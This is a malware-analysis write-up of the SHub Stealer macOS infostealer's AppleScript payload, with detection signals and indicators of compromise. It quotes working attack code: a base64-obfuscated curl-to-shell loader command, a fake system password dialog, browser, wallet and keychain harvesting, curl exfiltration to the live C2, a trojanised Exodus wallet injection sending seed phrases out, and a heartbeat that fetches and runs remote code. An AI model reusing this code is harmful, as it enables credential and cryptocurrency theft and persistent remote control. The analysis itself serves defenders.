Malware-Analysis

SHub Stealer - Dissecting the Second Stage AppleScript Payload

Breakdown of SHub Stealer's payload.applescript covering the credential harvest loop, browser and wallet collection architecture, chunked exfiltration logic, app.asar injection, and persistence mechanism.

#macos#infostealer#applescript#reverse-engineering#shub#malware-analysis

Overview

The previous writeup documented the SHub Stealer campaign infrastructure the ClickFix lure, C2 fingerprint, and confirmed exfiltration endpoints. This post goes one layer deeper: a full source level analysis of payload.applescript, the second-stage payload retrieved directly from the attacker's C2 at boso6ka.com/debug/payload.applescript.

This is the file that does everything. The loader's only job is to fingerprint the victim and fetch this script. From there, payload.applescript runs unsupervised through eight distinct phases: evidence removal, credential harvest, browser collection, wallet collection, exfiltration, wallet backdoor injection, persistence installation, and decoy display.

The script self identifies on disk:

writeText("SHub Stealer (DEBUG)" & return, writemind & "info")

The DEBUG tag in the build name is consistent across samples and suggests the operator's builder was still in active development at time of capture.


Where the Attack Chain Fell Apart

The operators designed this campaign around a specific assumption: that a fully dynamic execution chain is an analysis-proof chain. Nothing is static. Nothing lives on disk long enough to be scanned. Each stage is fetched live, executed in memory, and discarded. The lure fetches the loader. The loader fetches the payload. The payload fetches the wallet backdoors. The heartbeat fetches commands on demand. On paper — no artefacts, no static signatures, nothing to catch.

That assumption is where it went wrong.

The very first thing the ClickFix command does is encode the C2 URL in base64:

curl -kfsSL $(echo 'aHR0cHM6Ly9ib3NvNmthLmNvbS9kZWJ1Zy9sb2FkZXIuc2g/YnVpbGQ9NDhhNzZlNWVlNGViNzU3YzhkMzNmODJmNDZkZDVjZWI='|base64 -D)|zsh

Base64 encoding a URL is not obfuscation it is one of the most recognisable patterns in malicious terminal commands. Any analyst who sees base64 -D piped into a shell execution function knows exactly what they are looking at. The encoding that was supposed to hide the C2 domain is what made the command immediately suspicious enough to pull and analyse.

From there the chain unravelled itself. Because each stage was fetched from unauthenticated endpoints with paths embedded in the previous stage's source, getting loader.sh meant getting the path to payload.applescript. Getting payload.applescript meant getting every /gate/ endpoint path. Every /gate/ endpoint was publicly accessible without credentials. The dynamic chain did not prevent analysis — it handed over a complete map of the infrastructure in sequence.

GZIP + base64 encoding the loader was the same story. The encoding buys a few seconds of delay for automated scanners. It does not stop a human who's already suspicious from decoding it in one command:

echo '<blob>' | base64 -d | gunzip

The whole payload, in plaintext, in under a second.


The osascript stdin Technique

The loader delivers the second stage like this:

curl -s "https://boso6ka.com/debug/payload.applescript?build=$BUILDHASH" | osascript

Legitimate osascript invocations look like one of these:

osascript /path/to/script.applescript
osascript -e 'tell application "Finder" to...'

In both cases the script content is visible in process telemetry — either as a file path in argv, or as a string in the -e argument. EDRs and ESF-based tools log argv on process execution. The script is inspectable.

When osascript reads from stdin, the argv is empty. The script content exists only as bytes flowing through a pipe buffer never a file, never an argument, never visible to anything that inspects process execution events. A multi-hundred-line infostealer runs with a process record that looks identical to someone typing osascript at a prompt and pressing enter.

The detection hook it does leave is the process tree: curl as direct parent of osascript with no file argument. That combination does not appear in legitimate macOS software. That parent-child relationship curlosascript with empty argv — is the highest-fidelity detection signal in the entire delivery chain.


Phase 1 — Evidence Removal

try
    do shell script "killall Terminal"
end try

First instruction in the script. No delay, no condition Terminal is killed immediately. The try/end try wrapper means it fails silently if Terminal is already closed. Every subsequent shell command in the payload follows the same pattern failures are caught, logged to a local debug file, and execution continues.


Phase 2 — Victim Profiling and Telemetry

Before any collection begins, the payload builds a full victim profile and beacons it to C2.

set username to (system attribute "USER")
set profile to "/Users/" & username
set randomNumber to do shell script "echo $((RANDOM % 9000000 + 1000000))"
set writemind to "/tmp/shub_" & randomNumber & "/"

The staging directory is /tmp/shub_<7-digit-random>/ — randomised to avoid static path detection rules.

External IP resolution with three fallbacks:

set externalIP to do shell script "curl -s --max-time 5 \
    $(echo 'aHR0cHM6Ly9hcGkuaXBpZnkub3Jn' | base64 -d) || \
    curl -s --max-time 5 $(echo 'aHR0cHM6Ly9pY2FuaGF6aXAuY29t' | base64 -d) || \
    echo 'Unknown'"

Both URLs are base64-encoded — https://api.ipify.org and https://icanhazip.com — preventing static string detection.

CIS geofencing — the nuance:

-- Detect CIS (Russian layout) - we still detect but DON'T block
set isCIS to "false"
try
    set cisCheck to do shell script "defaults read ~/Library/Preferences/com.apple.HIToolbox.plist \
        AppleEnabledInputSources 2>/dev/null | grep -ci russian || echo 0"
    if cisCheck is not equal to "0" then
        set isCIS to "true"
    end if
end try

The comment is in the source: -- we still detect but DON'T block. isCIS is collected as a telemetry field and sent to the C2, but execution continues unconditionally. A Russian-keyboard victim who received this payload directly — bypassing the loader's gate — would be fully compromised.

Telemetry sequence:

payload_started → password_obtained / password_failed →
collecting_browsers → collecting_wallets →
data_collected → zip_sent / chunked_upload_start

The operator has real-time visibility into each victim's progress throughout execution.


Phase 3 — The Password Harvest Loop

on getpwd(username, writemind, provided_password)
    if checkvalid(username, "") then
        set result to do shell script "security 2>&1 > /dev/null find-generic-password \
            -ga \"Chrome\" | awk \"{print $2}\""
        writeText(result as string, writemind & "masterpass-chrome")
        writeText("NO_PASSWORD_REQUIRED", writemind & "Password")
        return ""
    end if
    set attemptCount to 0
    set maxAttempts to 10
    repeat while attemptCount < maxAttempts and gotValidPassword is false
        set attemptCount to attemptCount + 1
        if attemptCount > 3 then
            set dialogMsg to "Incorrect password. Please try again. (" & attemptCount & "/" & maxAttempts & ")"
        else
            set dialogMsg to "Required Application Helper. Please enter password for continue."
        end if
        set result to display dialog dialogMsg default answer "" with icon imagePath \
            buttons {"Continue"} default button "Continue" giving up after 150 \
            with title "System Preferences" with hidden answer
    end repeat
end getpwd

Password-free login branch: If dscl . authonly succeeds with an empty password, the payload pivots to extracting the Chrome master password from the macOS Keychain and writes NO_PASSWORD_REQUIRED to the Password file.

Real-time validation:

on checkvalid(username, password_entered)
    set result to do shell script "dscl . authonly " & \
        quoted form of username & space & quoted form of password_entered
    if result is not equal to "" then
        return false
    else
        return true
    end if
end checkvalid

dscl . authonly is a legitimate macOS system utility. Its use here is entirely living-off-the-land — indistinguishable in telemetry from a legitimate administrative script.

UX degradation after 3 failures: The dialog text changes after three failed attempts to include the attempt counter (4/10), (5/10) — mimicking a real system lockout message.

Invalid attempts logged separately:

writeText("Attempt " & attemptCount & ": " & password_entered, writemind & "invalid_passwords.txt")

Even failed attempts are collected and sent to the operator — useful for credential stuffing attempts elsewhere.


Phase 4 — Browser Collection Architecture

Chromium profile enumeration:

repeat with currentItem in fileList
    if ((currentItem as string) is equal to "Default") or \
       ((currentItem as string) contains "Profile") then
        -- collect from this profile
    end if
end repeat

Every Chrome profile is processed. A victim with multiple Chrome profiles has all of them collected.

14 Chromium browsers targeted:

set chromiumMap to {}
set chromiumMap to chromiumMap & {{"Chrome",        library & "Google/Chrome/"}}
set chromiumMap to chromiumMap & {{"Brave",          library & "BraveSoftware/Brave-Browser/"}}
set chromiumMap to chromiumMap & {{"Edge",           library & "Microsoft Edge/"}}
set chromiumMap to chromiumMap & {{"Opera",          library & "com.operasoftware.Opera/"}}
set chromiumMap to chromiumMap & {{"OperaGX",        library & "com.operasoftware.OperaGX/"}}
set chromiumMap to chromiumMap & {{"Vivaldi",        library & "Vivaldi/"}}
set chromiumMap to chromiumMap & {{"Orion",          library & "Orion/"}}
set chromiumMap to chromiumMap & {{"Sidekick",       library & "Sidekick/"}}
set chromiumMap to chromiumMap & {{"Chrome Canary",  library & "Google/Chrome Canary"}}
set chromiumMap to chromiumMap & {{"Chromium",       library & "Chromium/"}}
set chromiumMap to chromiumMap & {{"Arc",            library & "Arc/User Data"}}
set chromiumMap to chromiumMap & {{"Coccoc",         library & "CocCoc/Browser/"}}
set chromiumMap to chromiumMap & {{"Chrome Beta",    library & "Google/Chrome Beta/"}}

The ChromiumWallets() function hardcodes 102 browser extension IDs including MetaMask, Phantom, Coinbase Wallet, TronLink, Binance Chain Wallet, and Trust Wallet — scanning Local Extension Settings/ for each profile and copying matching extension directories wholesale.


Phase 5 — Desktop Wallet and System Collection

25 desktop wallet targets:

set walletMap to {}
set walletMap to walletMap & {{"Wallets/Desktop/Exodus",       library & "Exodus/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Electrum",     profile & "/.electrum/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Atomic",       library & "atomic/Local Storage/leveldb/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Guarda",       library & "Guarda/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Sparrow",      profile & "/.sparrow/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Wasabi",       profile & "/.walletwasabi/client/Wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Bitcoin_Core", library & "Bitcoin/wallets/"}}

System data collected:

set keychainPath to (POSIX path of (path to home folder)) & "Library/Keychains/"
set cloudPath to (POSIX path of (path to home folder)) & "Library/Application Support/iCloud/Accounts/"
readwrite(profile & "/.zshrc",        writemind & "Profile/.zshrc")
readwrite(profile & "/.zsh_history",  writemind & "Profile/.zsh_history")
readwrite(profile & "/.bash_history", writemind & "Profile/.bash_history")
readwrite(profile & "/.gitconfig",    writemind & "Profile/.gitconfig")

.gitconfig frequently contains GitHub tokens and API keys stored by credential helpers. .zsh_history preserves plaintext commands including export AWS_SECRET_ACCESS_KEY=... — common patterns on developer machines.

File grabber:

set docExtensions to {"docx", "doc", "wallet", "key", "keys", "txt", "rtf", "csv", \
                       "xls", "xlsx", "json", "rdp"}

find with -maxdepth 3 across Desktop and Documents, capped at 150MB total and 100 files per extension. The wallet and key extensions are explicitly targeted — plaintext seed phrase backups are a common habit among crypto users.

Telegram session files:

on Telegram(writemind, library)
    set tgPath to library & "Telegram Desktop/tdata/"
    repeat with tgFile in tgFiles
        if isDirectory(tgFilePath) then
            if (length of (tgFile as string)) is 16 then
                GrabFolder(tgFilePath, tgFileSave)
            end if
        else
            if (tgFile as string) ends with "s" and (length of (tgFile as string)) is 17 then
                readwrite(tgFilePath, tgFileSave)
            end if
            if (tgFile as string) is "key_datas" then
                readwrite(tgFilePath, tgFileSave)
            end if
        end if
    end repeat
end Telegram

Uses length-based heuristics to identify session data directories rather than hardcoded filenames — more resilient to Telegram version changes.


Phase 6 — Exfiltration: Single Upload vs Chunked

set chunkThreshold to 85000000  -- 85MB
if folderSizeNum < chunkThreshold then
    -- single ZIP upload
else
    -- chunked multi-ZIP upload
end if

Single upload (< 85MB):

curl -s -X POST "https://boso6ka.com/gate" \
    -F 'file=@/tmp/shub_log.zip' \
    -F 'key=15c1f07222c4441a0251e05d241ee3ef6697db7fa5ea8eaa64ef51e174e945b6' \
    -F 'password=<victim_password>' \
    -F 'buildtxd=948be3ba885ea945acc4f42867be0298b5285ce245b6c787d56a3b798c40a236' \
    -F 'has_valid_password=1' \
    -F 'build_hash=48a76e5ee4eb757c8d33f82f46dd5c'

Chunked path (≥ 85MB): The payload generates an inline bash script that bins top-level items into independent 70MB ZIP archives, each uploaded to boso6ka.com/gate/chunk with a shared chunk_session UUID for server-side reassembly.

Key fields in every upload:

FieldValuePurpose
key15c1f07...API authentication
buildtxd948be3ba...Build ID — links upload to campaign
build_hash48a76e5ee4eb...Lure page tracking ID
has_valid_password0 or 1Operator triage flag
passwordplaintextLogin password if obtained

The has_valid_password flag lets the operator immediately filter high-value logs (Keychain decryptable) from low-value ones (browser cookies only).


Phase 7 — app.asar Injection

set exodusPath to "/Applications/Exodus.app"
if (do shell script "test -d " & quoted form of exodusPath & " && echo 1 || echo 0") is "1" then
    -- 1. Download trojanised asar from C2
    do shell script "curl -s -o " & quoted form of tempZip & " " & quoted form of asarUrl
    do shell script "unzip -q -o " & quoted form of tempZip & " -d /tmp"
    -- 2. Kill the running app
    do shell script "pkill -9 Exodus 2>/dev/null || true"
    -- 3. Clone, remove, replace bundle (sidesteps permission issues)
    do shell script "cp -rf " & quoted form of exodusPath & " /tmp/Exodus_tmp.app"
    do shell script "rm -rf " & quoted form of exodusPath
    do shell script "mv /tmp/Exodus_tmp.app " & quoted form of exodusPath
    -- 4. Place malicious asar
    do shell script "mv " & quoted form of tempAsar & " " & quoted form of targetAsar
    -- 5. Strip quarantine and re-sign ad-hoc
    do shell script "xattr -cr " & quoted form of exodusPath
    do shell script "codesign -f -d -s - " & quoted form of exodusPath
end if

The codesign -f -d -s - flag signs with an ad-hoc identity. macOS accepts ad-hoc signatures for applications not previously notarized. The xattr -cr strips the quarantine extended attribute before signing, preventing Gatekeeper from flagging the modified bundle on next launch.

The backdoor payload (from extracted src/wallet/index.js):

try {
    fetch("https://wallets-gate.io/api/injection", {
        method: "POST",
        headers: {
            'Content-Type': 'application/json',
            'api-key': '<REDACTED>'
        },
        body: JSON.stringify({
            password: t,
            mnemonic: s.mnemonic.toString("utf8"),
            buildid: "948be3ba885ea945acc4f42867be0298b5285ce245b6c787d56a3b798c40a236",
            app: "exodus"
        })
    })
} catch (e) {}

This fires on every wallet unlock indefinitely, from any network, on any future date, until the wallet is reinstalled from a clean source. The catch (e) {} swallows all errors silently.


Phase 8 — Persistence

The heartbeat script is base64-encoded inline and written to disk at runtime:

#!/bin/bash
BOT_ID=$(ioreg -d2 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}')
RESP=$(curl -s -X POST "$GATE_URL/api/bot/heartbeat" \
    -H "Content-Type: application/json" \
    -d "{\"bot_id\":\"$BOT_ID\",\"build_id\":\"$BUILD_ID\",\"hostname\":\"$HOSTNAME\",...}")
CODE=$(echo "$RESP" | sed -n 's/.*"code":"\([^"]*\)".*/\1/p')
if [ -n "$CODE" ]; then
    echo "$CODE" | base64 -d > /tmp/.c.sh && chmod +x /tmp/.c.sh && /tmp/.c.sh
    rm -f /tmp/.c.sh
fi

BOT_ID is derived from IOPlatformUUID the hardware UUID, stable across reboots and macOS reinstalls. The code field in the heartbeat response is base64-decoded and executed at /tmp/.c.sh, then deleted — full on-demand RCE with no persistent second binary.

LaunchAgent:

<key>Label</key>
<string>com.google.keystone.agent</string>
<key>StartInterval</key>
<integer>60</integer>
<key>RunAtLoad</key>
<true/>
<key>StandardOutPath</key>
<string>/dev/null</string>

com.google.keystone.agent is the label used by Google's legitimate Keystone auto-updater — present on any system with a Google product installed. The label collision is intentional. Both stdout and stderr go to /dev/null — no logs, no output.


Detection Opportunities

File system:

ArtefactPath
Staging dir/tmp/shub_<7digits>/
Archive/tmp/shub_log.zip
Chunk archives/tmp/shub_mzip_*.zip
RCE dropper/tmp/.c.sh
Heartbeat binary~/Library/Application Support/Google/GoogleUpdate.app/Contents/MacOS/GoogleUpdate
LaunchAgent~/Library/LaunchAgents/com.google.keystone.agent.plist

Process behaviour:

BehaviourSignal
osascript spawned by curl or zshESF process tree
dscl . authonly from non-system parentUnusual — directory services only
codesign -f -d -s - targeting /Applications/Ad-hoc re-sign of installed app
xattr -cr /Applications/*.appQuarantine strip
pkill -9 Exodus from non-user processWallet app killed by script
Write to /Applications/*.app/Contents/Resources/app.asarNon-installer write to app bundle

Network:

boso6ka.com/api/debug/event     telemetry — fires 6+ times per victim
boso6ka.com/gate                exfiltration
boso6ka.com/gate/chunk          chunked exfiltration
boso6ka.com/gate/*-asar         wallet backdoor downloads
boso6ka.com/api/bot/heartbeat   60-second beacon, permanent
wallets-gate.io/api/injection   seed phrase exfil on wallet unlock

The heartbeat is the highest-fidelity persistent indicator: regular 60-second POST requests from a process named GoogleUpdate to a non-Google domain.


Summary

SHub payload.applescript is a complete, production-quality infostealer written entirely in AppleScript with shell callouts. No compiled binaries — pure AppleScript and native macOS tooling. Every operation is wrapped in try/end try. Two exfiltration paths handle any collection size. The app.asar replacement survives the initial infection and compromises victims on every future wallet unlock. The heartbeat LaunchAgent provides permanent RCE via a label that blends with legitimate Google infrastructure.

The DEBUG build tag and the CIS comment left in source suggest this was captured mid-development. A cleaned production build would remove those strings, tightening the static detection surface further.


IOCs

IndicatorType
boso6ka.comC2 domain
wallets-gate.ioWallet exfil domain
15c1f07222c4441a0251e05d241ee3ef6697db7fa5ea8eaa64ef51e174e945b6API key
948be3ba885ea945acc4f42867be0298b5285ce245b6c787d56a3b798c40a236Build ID
48a76e5ee4eb757c8d33f82f46dd5cebBuild hash
com.google.keystone.agentLaunchAgent label (malicious)
/tmp/shub_*/Staging path pattern
/tmp/.c.shHeartbeat RCE dropper
SHub Stealer (DEBUG)Self-identifier written to disk